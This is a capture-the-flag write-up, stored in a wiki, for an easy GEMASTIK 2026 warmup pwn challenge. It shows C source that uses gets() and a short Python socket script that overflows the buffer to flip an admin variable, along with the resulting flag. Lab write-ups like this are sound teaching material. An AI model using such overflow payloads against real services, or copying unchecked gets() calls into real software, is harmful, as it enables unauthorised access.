asepharyana
0de2458955
- Deleted all 14 dummy docs from DB + filesystem - Created 14 Gemastik warmup writeups + index via create_document API (DB-first) - ch1-ch12: encoding/stego/web/pwn basics - ch13: RSA small factors - ch14: RSA special integers via paper-search (GCD with paper appendix primes) - All 15 docs indexed and live at wiki.asepharyana.my.id
1.2 KiB
1.2 KiB
title, type, section, status, author, tags, path, created_at, updated_at, event, challenge, category, points, difficulty, flag
| title | type | section | status | author | tags | path | created_at | updated_at | event | challenge | category | points | difficulty | flag | ||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Are You Admin? — Buffer Overflow | writeup | writeups | published | asep |
|
writeups/gemastik-2026-warmup/ch9-are-you-admin.md | 2026-08-21T07:25:39.978Z | 2026-08-21T07:25:39.978Z | GEMASTIK 2026 Warmup | Are You Admin? — Buffer Overflow | pwn | 500 | easy | GEMASTIK19{0v3rfl0w_ubah_var} |
Are You Admin? (500 pts) — Pwn / Buffer Overflow
Server: nc 15.232.89.109 9001
Source (chall.c):
volatile int admin = 0;
char name[16];
gets(name); // <-- overflow, no bounds check
if (admin != 0) { /* print flag */ }
Eksploitasi
Stack layout: name[16] diikuti oleh admin (int). Overflow name dengan padding 20 byte
lalu 4 byte nonzero untuk mengubah admin menjadi != 0:
import socket, time
s = socket.socket()
s.connect(("15.232.89.109", 9001))
time.sleep(0.5)
# 16 bytes buf + 4 bytes padding + 4 bytes admin override
payload = b"A" * 20 + b"\xff\xff\xff\xff"
s.sendall(payload + b"\n")
time.sleep(1.2)
print(s.recv(4096).decode())
# -> GEMASTIK19{0v3rfl0w_ubah_var}
Flag
GEMASTIK19{0v3rfl0w_ubah_var}